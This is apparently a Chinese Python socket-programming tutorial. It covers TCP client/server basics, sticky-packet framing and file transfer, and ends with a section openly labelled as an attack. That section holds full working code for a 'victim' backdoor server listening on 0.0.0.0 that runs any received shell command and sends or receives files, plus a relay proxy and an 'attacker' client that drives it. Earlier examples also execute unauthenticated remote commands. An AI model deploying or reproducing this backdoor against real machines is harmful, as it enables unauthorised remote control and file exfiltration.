TCP连接


一、最简单的TCP连接

1、服务端

import socket

# 1、建立一个socket对象,AF_INET网络通信,SOCK_STREAM说明是TCP协议
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# 2、绑定IP端口
server.bind(('127.0.0.1',7777))

# 3、最大连接数
server.listen(5)

# 4、等待连接,conn为连接对象,client_addr为客户端的IP和端口,对应客户端第二步
conn,client_addr = server.accept()

# 5、收消息,最大接收1024个字节
data = conn.recv(1024)
print(f'客户端的数据:{data}')

# 6、发消息,将发送过来的数据大写发回去
conn.send(data.upper())

# 7、关闭连接
conn.close()

# 8、关闭socket对象
server.close()

2、客户端

import socket

#建立一个socket对象,AF_INET网络通信,SOCK_STREAM说明是TCP协议
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# 连接服务端
client.connect(('127.0.0.1', 7777))

#发消息
client.send('hello'.encode('utf-8'))

#收消息
data = client.recv(1024)
print(data)

#关闭socket对象
client.close()

二、 通信循环

1、服务端

import socket

#建立一个socket对象,AF_INET网络通信,SOCK_STREAM说明是TCP协议
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# 绑定IP端口
server.bind(('127.0.0.1',7777))

# 最大连接数
server.listen(5)

# 等待连接,conn为连接对象,client_addr为客户端的IP和端口
conn,client_addr = server.accept()

while True:
    #收消息
    data = conn.recv(1024)
    print(f'客户端的数据:{data}')
    #发消息
    conn.send(data.upper())

#关闭连接
conn.close()

#关闭socket对象
server.close()

2、客户端

import socket

#建立一个socket对象,AF_INET网络通信,SOCK_STREAM说明是TCP协议
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# 连接服务端
client.connect(('127.0.0.1', 7777))

while True:
    msg = input('>>: ').strip()
    #发消息
    client.send(msg.encode('utf-8'))
    #收消息
    data = client.recv(1024)
    print(data)
#关闭socket对象
client.close()

三、存在两个bug

正常发送消息流程为:
客户端:本机应用层客户端发送数据到本机操作系统内存中,操作系统接收数据后,进行协议封装,调用网卡,发送数据
服务端:数据会到达服务端操作系统内存中,服务端客户端recv让操作系统调用网卡接收数据,从而完成一次数据的传输

  • 如果客户端发送一个空,会导致卡死,原因就是客户端发送为空,但是客户端操作系统没收到任何东西,导致客户端操作系统没有发送数据,服务端一直卡在收消息这步,然后客户端这边没收到消息,然后就会卡死

  • 客户端单方面终止程序,在windows下服务端会报错,在linux下会使服务端产生死循环

1、服务端

import socket

#建立一个socket对象,AF_INET网络通信,SOCK_STREAM说明是TCP协议
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# 当服务端启动然后关闭,操作系统需要一段时间回收这个端口,这时候在启用服务端,会导致端口冲突,下面这行就是冲突时,我重用这个端口就可以了
server.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
# 绑定IP端口
server.bind(('127.0.0.1',7777))

# 最大连接数
server.listen(5)

# 等待连接,conn为连接对象,client_addr为客户端的IP和端口
conn,client_addr = server.accept()

while True:
    try:
        #收消息
        data = conn.recv(1024)
        if not data:break
        print(f'客户端的数据:{data}')
        #发消息
        conn.send(data.upper())
    except ConnectionResetError:
        break
#关闭连接
conn.close()

#关闭socket对象
server.close()

2、客户端

import socket

#建立一个socket对象,AF_INET网络通信,SOCK_STREAM说明是TCP协议
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# 连接服务端
client.connect(('127.0.0.1', 7777))

while True:
    msg = input('>>: ').strip()
    if not msg:continue
    #发消息
    client.send(msg.encode('utf-8'))
    #收消息
    data = client.recv(1024)
    print(data)
#关闭socket对象
client.close()

四、模拟ssh远程执行命令

1、服务端

import socket,subprocess

#建立一个socket对象,AF_INET网络通信,SOCK_STREAM说明是TCP协议
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# 当服务端启动然后关闭,操作系统需要一段时间回收这个端口,这时候在启用服务端,会导致端口冲突,下面这行就是冲突时,我重用这个端口就可以了
server.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
# 绑定IP端口
server.bind(('127.0.0.1',7777))

# 最大连接数
server.listen(5)

# 等待连接,conn为连接对象,client_addr为客户端的IP和端口
conn,client_addr = server.accept()

while True:
    try:
        #收消息
        data = conn.recv(1024)
        if not data:break
        obj = subprocess.Popen(data.decode('utf-8'), shell=True,
                               stdout = subprocess.PIPE,
                               stderr = subprocess.PIPE)
        stdout = obj.stdout.read()
        stderr = obj.stderr.read()
        #发消息
        conn.send(stdout+stderr)
    except ConnectionResetError:
        break
#关闭连接
conn.close()

#关闭socket对象
server.close()

2、客户端

import socket

#建立一个socket对象,AF_INET网络通信,SOCK_STREAM说明是TCP协议
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# 连接服务端
client.connect(('127.0.0.1', 7777))

while True:
    msg = input('>>: ').strip()
    if not msg:continue
    #发消息
    client.send(msg.encode('utf-8'))
    #收消息
    data = client.recv(1024)
    print(data.decode('gbk'))
#关闭socket对象
client.close()

3、存在粘包现象(管道中存留上次传输没有接收完的数据),导致执行命令返回的结果不同步,还有传输时需要编码对应

五、TCP访问流程

1、应用层客户端发送数据到传输层操作系统,send就结束了,余下的由操作系统根据协议发送数据到服务端,服务端recv直接调用不了网卡,控制操作系统收到数据,收到了将数据保存到操作系统内存中,然后再拷贝到服务端中

2、客户端发送只有一个步骤,时间短,服务端接收有两步,受硬件和网络传输影响,时间长

3、不是一个send对应一个recv,TCP有优化算法,会将时间间隔较短且数据较小的数据合并成一个数据进行发送

  • 服务端
点击查看代码
import socket

#建立一个socket对象,AF_INET网络通信,SOCK_STREAM说明是TCP协议
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# 当服务端启动然后关闭,操作系统需要一段时间回收这个端口,这时候在启用服务端,会导致端口冲突,下面这行就是冲突时,我重用这个端口就可以了
server.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
# 绑定IP端口
server.bind(('127.0.0.1',7777))

# 最大连接数
server.listen(5)

# 等待连接,conn为连接对象,client_addr为客户端的IP和端口
conn,client_addr = server.accept()

data1 = conn.recv(1024)
print(data1)
data2 = conn.recv(1024)
print(data2)
  • 客户端,会造成客户端发送的数据粘包
点击查看代码
import socket

#建立一个socket对象,AF_INET网络通信,SOCK_STREAM说明是TCP协议
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect(('127.0.0.1', 7777))
client.send('hello'.encode('utf-8'))
client.send('word'.encode('utf-8'))

  • 服务端代码不变,客户端发送数据睡五秒,客户端发送数据不粘包
点击查看代码
import socket,time

#建立一个socket对象,AF_INET网络通信,SOCK_STREAM说明是TCP协议
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect(('127.0.0.1', 7777))
client.send('hello'.encode('utf-8'))
time.sleep(5)
client.send('word'.encode('utf-8'))

  • 服务端粘包

服务端:

点击查看代码
import socket,time

server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
server.bind(('127.0.0.1',7777))
server.listen(5)
conn,client_addr = server.accept()
data1 = conn.recv(1)
print(data1)
time.sleep(6)
data2 = conn.recv(1024)
print(data2)

客户端:

点击查看代码
import socket,time

#建立一个socket对象,AF_INET网络通信,SOCK_STREAM说明是TCP协议
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect(('127.0.0.1', 7777))
client.send('hello'.encode('utf-8'))
time.sleep(5)
client.send('word'.encode('utf-8'))

五、解决粘包问题传输服务端

1、制作报头字典(一些描述信息,如:文件名,md5,文件大小)

2、将报头字典json化(因为最后传输是二进制,先将字典转换字符串,在编码成为二进制)

3、将json化报头用struct.pack打包成一个固定的大小,就是报头大小,发送给客户端

4、发送报头

5、发送真实数据

点击查看代码
import socket,subprocess,struct,json

#建立一个socket对象,AF_INET网络通信,SOCK_STREAM说明是TCP协议
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# 当服务端启动然后关闭,操作系统需要一段时间回收这个端口,这时候在启用服务端,会导致端口冲突,下面这行就是冲突时,我重用这个端口就可以了
server.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
# 绑定IP端口
server.bind(('127.0.0.1',7777))

# 最大连接数
server.listen(5)

# 等待连接,conn为连接对象,client_addr为客户端的IP和端口
conn,client_addr = server.accept()

while True:
    try:
        #收消息
        data = conn.recv(1024)
        if not data:break
        obj = subprocess.Popen(data.decode('utf-8'), shell=True,
                               stdout = subprocess.PIPE,
                               stderr = subprocess.PIPE)
        stdout = obj.stdout.read()
        stderr = obj.stderr.read()

        # 第一步
        header_dic = {
            'total_size' : len(stdout) + len(stderr)
        }
        #第二步
        header_bytes = json.dumps(header_dic).encode('utf-8')

        #第三步
        conn.send(struct.pack('i',len(header_bytes)))

        #第四步
        conn.send(header_bytes)

        #第五步
        conn.send(stdout)
        conn.send(stderr)
    except ConnectionResetError:
        break
#关闭连接
conn.close()

#关闭socket对象
server.close()

六、解决粘包问题传输客户端

1、接收报头长度

2、再接收报头

3、从报头中解析出真实的描述信息,如文件大小

4、接收真实数据

点击查看代码
import socket,struct,json

#建立一个socket对象,AF_INET网络通信,SOCK_STREAM说明是TCP协议
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# 连接服务端
client.connect(('127.0.0.1', 7777))

while True:
    msg = input('>>: ').strip()
    if not msg:continue
    #发消息
    client.send(msg.encode('utf-8'))
    #第一步
    obj = client.recv(4)
    header_size = struct.unpack('i',obj)[0]

    #第二步
    header_bytes = client.recv(header_size)

    #第三步
    header_json = header_bytes.decode('utf-8')
    header_dic = json.loads(header_json)
    total_size = header_dic['total_size']

    recv_size = 0
    recv_data = b''
    while recv_size < total_size:
        res = client.recv(1024)
        recv_data += res
        recv_size += len(res)
    print(recv_data.decode('gbk'))

#关闭socket对象
client.close()

七、上传下载

1、下载服务端

  • 接收客户端传过来的命令
  • 解析文件名
  • 以读的方式打开文件
  • 制作固定报头(其他的都一样)
  • 发送真实数据修改成文件数据
点击查看代码
import socket,subprocess,struct,json,os

#建立一个socket对象,AF_INET网络通信,SOCK_STREAM说明是TCP协议
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# 当服务端启动然后关闭,操作系统需要一段时间回收这个端口,这时候在启用服务端,会导致端口冲突,下面这行就是冲突时,我重用这个端口就可以了
server.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
# 绑定IP端口
server.bind(('127.0.0.1',7777))

# 最大连接数
server.listen(5)

# 等待连接,conn为连接对象,client_addr为客户端的IP和端口
conn,client_addr = server.accept()

while True:
    try:
        #收消息
        data = conn.recv(1024)
        if not data:break

        cmds = data.decode('utf-8').split()

        filename = cmds[1]

        #
        header_dic = {
            'filename' : filename,
            'file_size' : os.path.getsize(f'./{filename}')
        }

        header_bytes = json.dumps(header_dic).encode('utf-8')


        conn.send(struct.pack('i',len(header_bytes)))


        conn.send(header_bytes)


        with open(f'./{filename}', 'rb') as f:
            for line in f:
                conn.send(line)
    except ConnectionResetError:
        break
#关闭连接
conn.close()

#关闭socket对象
server.close()

2、下载客户端

  • 获取报头中的文件名
  • 以写的方式打开文件
  • 接收真实数据,写入文件中
点击查看代码
import socket,struct,json,os


#建立一个socket对象,AF_INET网络通信,SOCK_STREAM说明是TCP协议
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# 连接服务端
client.connect(('127.0.0.1', 7777))

while True:
    msg = input('>>: ').strip()
    if not msg:continue
    #发消息
    client.send(msg.encode('utf-8'))
    #第一步
    obj = client.recv(4)
    header_size = struct.unpack('i',obj)[0]

    #第二步
    header_bytes = client.recv(header_size)

    #第三步
    header_json = header_bytes.decode('utf-8')
    header_dic = json.loads(header_json)
    file_size = header_dic['file_size']
    filename = header_dic['filename']

    with open(f'./{filename}','wb') as f:
        recv_size = 0
        while recv_size < file_size:
            line = client.recv(1024)
            f.write(line)
            recv_size += len(line)
            print(f'总大小:{file_size}  已下载:{recv_size}')

#关闭socket对象
client.close()

八、简易版TCP连接

1、服务端

import socket
import threading

bind_ip = "127.0.0.1"
bind_port = 7777

# 建立一个socket对象,AF_INET网络通信,SOCK_STREAM说明是TCP协议
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# 绑定IP端口
server.bind((bind_ip,bind_port))

# 最大连接数
server.listen(5)
#打印监听端口
print(f'listening on {bind_ip}:{bind_port}')


def handle_client(client_socket):
    request = client_socket.recv(1024).decode('utf-8')
    print(request)
    client_socket.send("ACK!".encode('utf-8'))
    client_socket.close()

while True:

    # 等待连接,client为连接对象,client_addr为客户端的IP和端口
    client,client_addr = server.accept()
    print(f'客户端对象:{client},IP:{client_addr}')
    #多线程
    client_handler = threading.Thread(target = handle_client,args=(client,))
    client_handler.start()

# 8、关闭socket对象
server.close()

2、客户端

import socket

bind_ip = "127.0.0.1"
bind_port = 7777

# 建立一个socket对象,AF_INET网络通信,SOCK_STREAM说明是TCP协议
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# 绑定IP端口
client.connect((bind_ip,bind_port))

client.send("hello".encode('gbk'))

response = client.recv(1024).decode('utf-8')
print(response)

九、TCP代理完整版

1、受害机


import socket,struct,json,subprocess,os

class My_Tcp_Server:
    address_family = socket.AF_INET
    socket_type = socket.SOCK_STREAM
    allow_reuse_addresss = False
    max_packet_size = 1024
    coding = 'utf-8'
    request_queue_size = 5
    server_dir = './'

    # 初始化
    def __init__(self, server_address, bind_and_activate = True):
        # 本机IP
        self.server_address = server_address
        # 建立一个socket对象,AF_INET网络通信,SOCK_STREAM说明是TCP协议
        self.socket = socket.socket(self.address_family,self.socket_type)
        if bind_and_activate:
            try:
                # 绑定端口IP
                self.server_bind()
                self.server_activate()
            except:
                self.server_close()
                raise

    def server_bind(self):
        if self.allow_reuse_addresss:
            # 当服务端启动然后关闭,操作系统需要一段时间回收这个端口,这时候在启用服务端,会导致端口冲突,下面这行就是冲突时,我重用这个端口就可以了
            self.socket.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
        # 绑定端口IP
        self.socket.bind(self.server_address)

        self.socket_address = self.socket.getsockname()

    # 最大连接数
    def server_activate(self):
        self.socket.listen(self.request_queue_size)

    # 关闭socket对象
    def server_close(self):
        self.socket.close()

    # 等待连接,会返回对象和客户端的IP跟端口
    def get_request(self):
        return self.socket.accept()

    # 关闭连接
    def close_request(self,requet):
        requet.close()

    # 报头序列化打包发送
    def json_struct(self, head_dic):
        head_json = json.dumps(head_dic)
        head_json_bytes = bytes(head_json, encoding=self.coding)

        head_struct = struct.pack('i', len(head_json_bytes))
        self.conn.send(head_struct)
        self.conn.send(head_json_bytes)

    def run(self):
        while True:
            # 一个对象和客户端的IP跟端口
            self.conn,self.client_add = self.get_request()
            print('from client ',self.client_add)
            while True:
                try:
                    # 接收攻击机发过来的命令
                    head_struct =self.conn.recv(4)
                    # 判断命令是否为空
                    if not head_struct:break
                    # 反序列化报文解析命令
                    head_len = struct.unpack('i',head_struct)[0]
                    head_json = self.conn.recv(head_len).decode(self.coding)
                    head_dic = json.loads(head_json)

                    # 获取命令
                    cmd_type = head_dic['cmd']
                    if cmd_type in ['put', 'download']:
                        # self是否存cmd_type这个属性
                        if hasattr(self,cmd_type):
                            # 函数名存在就返回函数名,不存在就触发异常
                            func = getattr(self,cmd_type)
                            # 调用相关函数
                            func(head_dic)
                    else:
                        self.cmd(cmd_type)
                except Exception:
                    break
            # 关闭连接
            self.close_request(self.conn)

    def cmd(self, args):
        obj = subprocess.Popen(args, shell=True,
                               text=True,
                               stdout = subprocess.PIPE,
                               stderr = subprocess.PIPE
                               )

        stdout = obj.stdout.read().encode(self.coding)
        stderr = obj.stderr.read().encode(self.coding)



        header_dic = {
            'size': len(stdout) + len(stderr)
        }
        self.json_struct(header_dic)
        self.conn.send(stdout)
        self.conn.send(stderr)

    # 上传
    def put(self, args):
        # 获取要上传的文件
        filename = args['filename']
        # 判断文件是否存在
        if not os.path.isfile(filename):
            head_dic = {'error':'文件不存在'}
            self.json_struct(head_dic)
            return
        else:
            # 获取要上传的文件大小
            filesize = os.path.getsize(filename)
        # 将要上传的将文件描述信息制作成字典
        head_dic = {'filename': os.path.basename(filename), 'filesize': filesize}
        # 发送报头
        self.json_struct(head_dic)
        # 以读的方式打开文件
        with open(filename, 'rb') as f:
            for line in f:
                # 发送文件数据
                self.conn.send(line)

    # 下载文件
    def download(self,args):
        # 文件保存地址
        file_path = os.path.normpath(os.path.join(
            self.server_dir,
            args['filename']
        ))

        # 获取文件大小
        filesize = args['filesize']
        # 用来判断文件传输完成没
        recv_size = 0
        print('------>',file_path)
        # 以写的方式打开文件
        with open(file_path,'wb') as f:
            # 下载的文件数据小于文件大小就执行
            while recv_size < filesize:
                # 接收发过来的数据,以最大1024个字节为准
                recv_data = self.conn.recv(self.max_packet_size)
                # 写入数据
                f.write(recv_data)
                # 用来判断文件传输完成没
                recv_size += len(recv_data)




Tcp_server = My_Tcp_Server(('0.0.0.0',8080))

Tcp_server.run()

2、跳板机

# coding:utf8
# 创建一个 TCP 代理

import sys
import socket
import threading

def server_loop(local_host, local_port, remote_host, remote_port, receive_first):

    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try:
        # 跳板机监听的 host和端口
        server.bind((local_host, local_port))
    except Exception:
        print(f'监听本地端口失败{local_host}:{local_port}')
        sys.exit(0)

    print(f'[*]Listening on{local_host}:{local_port}')

    #开始监听TCP传入连接
    server.listen(5)

    while True:
        # 获取攻击机请求过来的数据,client_socket为跳板机与攻击机连接的socket对象
        client_socket, addr = server.accept()

        # 打印出本地客户端连接的信息
        print(f'连接成功,攻击机 {addr[0]}:{addr[1]}')

        # 开启一个线程 与 受害机通信
        proxy_thread = threading.Thread(target=proxy_handler, args=(client_socket, remote_host, remote_port, receive_first))

        proxy_thread.start()


# 十六进制转储的函数
def hexdump(src, length=16):
    result = []
    digits = 4 if isinstance(src, str) else 2

    for i in range(0, len(src), length):
        s = src[i:i+length]
        hexa = b' ' . join(["%0*X" % (digits, ord(x)) for x in s])
        text = b''.join([x if 0x20 <= ord(x) < 0x7F else b'.' for x in s])
        result.append(b"%04X %-*s %s" % (i, length*(digits + 1), hexa, text))

    print(b'\n'.join(result))

# 接收攻击机或受害机发送的数据
def receive_from(connection):
    print('开始接收数据')
    # 用来存储接收的数据
    buffer = b""

    # 我们设置了两秒的超时, 这取决于目标的情况, 可能需要调整
    connection.settimeout(2)

    try:
        # 持续从缓存中读取数据直到没有数据或者超时
        while True:
            data = connection.recv(4096)
            print(f'接收的数据是 {data}')
            if not data:
                print('接收完了')
                break

            buffer += data

    except Exception as e:
        print('error for receive_from')
        print(e)

    return buffer

# 对目标是远程主机的请求进行修改
def request_handler(buffer):
    #执行包修改
    return buffer

# 对目标是本地主机的响应进行修改
def response_handler(buffer):
    #执行包修改
    return buffer



def proxy_handler(client_socket, remote_host, remote_port, receive_first):

    remote_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    print(f'正在连接 {remote_host}:{remote_port}')
    # 连接受害机,remote_socket为跳板机与受害机连接对象
    remote_socket.connect((remote_host, remote_port))

    # 如果必要从受害机接收数据
    if receive_first:
        # 接收受害机传输过来的数据
        remote_buffer = receive_from(remote_socket)
        #hexdump(remote_buffer)

        # 发送给我们的响应处理
        remote_buffer = response_handler(remote_buffer)

        # 如果我们有数据就传递给攻击机,发送它
        if len(remote_buffer):
            print(f'[<==] Sending {len(remote_buffer)} bytes to localhost')
            client_socket.send(remote_buffer)

    # 现在我们从本地循环读取数据, 发送给受害机和攻击机
    while True:
        # 接收攻击机发送过来的数据
        local_buffer = receive_from(client_socket)
        print(f'接收攻击机数据 {local_buffer}')
        # 如果攻击机发送数据,就转发
        if len(local_buffer):
            print(f'攻击机发送{len(local_buffer)}字节')
            #hexdump(local_buffer)

            # 这里可以改变我们请求的数据 过滤等功能
            local_buffer = request_handler(local_buffer)

            # 将攻击机发送的数据转发给受害机
            remote_socket.send(local_buffer)
            print('正在向受害机发送数据')

        # 接收受害机发送过来的数据
        remote_buffer = receive_from(remote_socket)
        # 如果受害机发送数据就转发
        if len(remote_buffer):
            print(f'受害机发送 {len(remote_buffer)}字节')
            #hexdump(remote_buffer)

            # 发送到响应处理函数
            remote_buffer = response_handler(remote_buffer)

            # 将受害机发送的数据转发给攻击机
            client_socket.send(remote_buffer)

def main():
    if len(sys.argv[1:]) != 5:
        # print "Usage: ./proxy.py [localhost] [localport] [remotehost] [remoteport] [receive_first]"
        # print "Example: ./proxy.py 127.0.0.1 9000 10.12.132.1 9000 True"
        sys.exit(0)

    # 设置本地监听参数
    local_host = sys.argv[1]
    local_port = int(sys.argv[2])

    # 设置远程目标
    remote_host = sys.argv[3]
    remote_port = int(sys.argv[4])

    # 告诉代理在发送给远程主机之前连接和接受数据
    receive_first = sys.argv[5]

    if "True" in receive_first:
        receive_first = True
    else:
        receive_first = False

    # 设置好我们的监听 socket
    server_loop(local_host, local_port, remote_host, remote_port, receive_first)

main()

3、攻击机


import socket,struct,json,os

class My_Tcp_Client:
    address_family = socket.AF_INET
    socket_type = socket.SOCK_STREAM
    allow_reuse_addresss = False
    max_packet_size = 1024
    coding = 'utf-8'
    server_dir = './'

    #初始化
    def __init__(self, server_address, connect = True):
        # 受害机的IP
        self.server_address = server_address
        # 建立一个socket对象,AF_INET网络通信,SOCK_STREAM说明是TCP协议
        self.socket = socket.socket(self.address_family,self.socket_type)
        if connect:
            try:
                self.client_connect()
            except:

                self.client_close()
                raise

    # 连接受害机
    def client_connect(self):
        self.socket.connect(self.server_address)

    # 关闭socket对象
    def server_close(self):
        self.socket.close()

    # 报头序列化打包发送
    def json_struct(self, head_dic):
        head_json = json.dumps(head_dic)
        head_json_bytes = bytes(head_json, encoding=self.coding)

        head_struct = struct.pack('i', len(head_json_bytes))
        self.socket.send(head_struct)
        self.socket.send(head_json_bytes)

    def run(self):
        while True:
            while True:
                # 接收命令参数
                msg = input(">>>:").strip()
                # 判断输入是否为空
                if not msg:continue
                l = msg.split()
                # 获取命令类型
                cmd_type = l[0]
                if cmd_type in ['put','download']:
                    if hasattr(self,cmd_type):
                        func = getattr(self,cmd_type)
                        func(l)
                else:
                    self.cmd(msg)

    def cmd(self,args):
        head_dic ={'cmd':args}
        self.json_struct(head_dic)

        # 接收要下载文件描述信息
        head_struct = self.socket.recv(4)
        head_len = struct.unpack('i', head_struct)[0]
        head_json = self.socket.recv(head_len).decode(self.coding)
        head_dic = json.loads(head_json)
        size = head_dic['size']

        recv_size = 0
        recv_data = b''
        while recv_size < size:
            res = self.socket.recv(self.max_packet_size)
            recv_data += res
            recv_size += len(res)
        print(recv_data.decode('utf-8').strip())

    # 上传
    def put(self,args):
        # 我们上传对应对面下载函数
        cmd = args[0] if args[0] != 'put' else 'download'
        # 上传文件
        filename = args[1]
        # 判断文件是否存在
        if not os.path.isfile(filename):
            print(f'file:{filename} is not exists')
            return
        else:
            # 获取文件大小
            filesize = os.path.getsize(filename)

        # 将文件描述信息制作成字典
        head_dic = {'cmd':cmd, 'filename':os.path.basename(filename),'filesize':filesize}
        # 将字典序列化打包发送受害机
        self.json_struct(head_dic)
        # 上传文件
        with open(filename, 'rb') as f:
            for line in f:
                self.socket.send(line)

    # 下载文件
    def download(self,args):
        # 下载对应着对面上传函数
        cmd = args[0] if args[0] != 'download' else 'put'
        # 将要下载的文件命令制作成字典
        head_dic = {'cmd':cmd, 'filename':args[1]}
        # 将字典序列化打包发送受害机
        self.json_struct(head_dic)
        # 接收要下载文件描述信息
        head_struct = self.socket.recv(4)
        head_len = struct.unpack('i', head_struct)[0]
        head_json = self.socket.recv(head_len).decode(self.coding)
        head_dic = json.loads(head_json)

        # 判断发送过来的是正确的文件描述信息还是报错信息
        if 'error' in head_dic:
            print(head_dic['error'])
            return

        # 下载到本地的哪个位置
        file_path = os.path.normpath(os.path.join(
            self.server_dir,
            head_dic['filename']
        ))

        # 获取下载的文件大小信息
        filesize = head_dic['filesize']
        recv_size = 0
        print('------>', file_path)
        # 以写打开文件
        with open(file_path, 'wb') as f:
            # 循环下载文件数据
            while recv_size < filesize:
                # 接收发过来的数据,以最大1024个字节为准
                recv_data = self.socket.recv(self.max_packet_size)
                # 将下载下来的数据写入本地中
                f.write(recv_data)
                # 用来判断是否下载完
                recv_size += len(recv_data)
                # 打印下载进度
                print(f'recvsize:{recv_size} , filesize:{filesize}')



Tcp_Client = My_Tcp_Client(('192.168.223.128',7777))

Tcp_Client.run()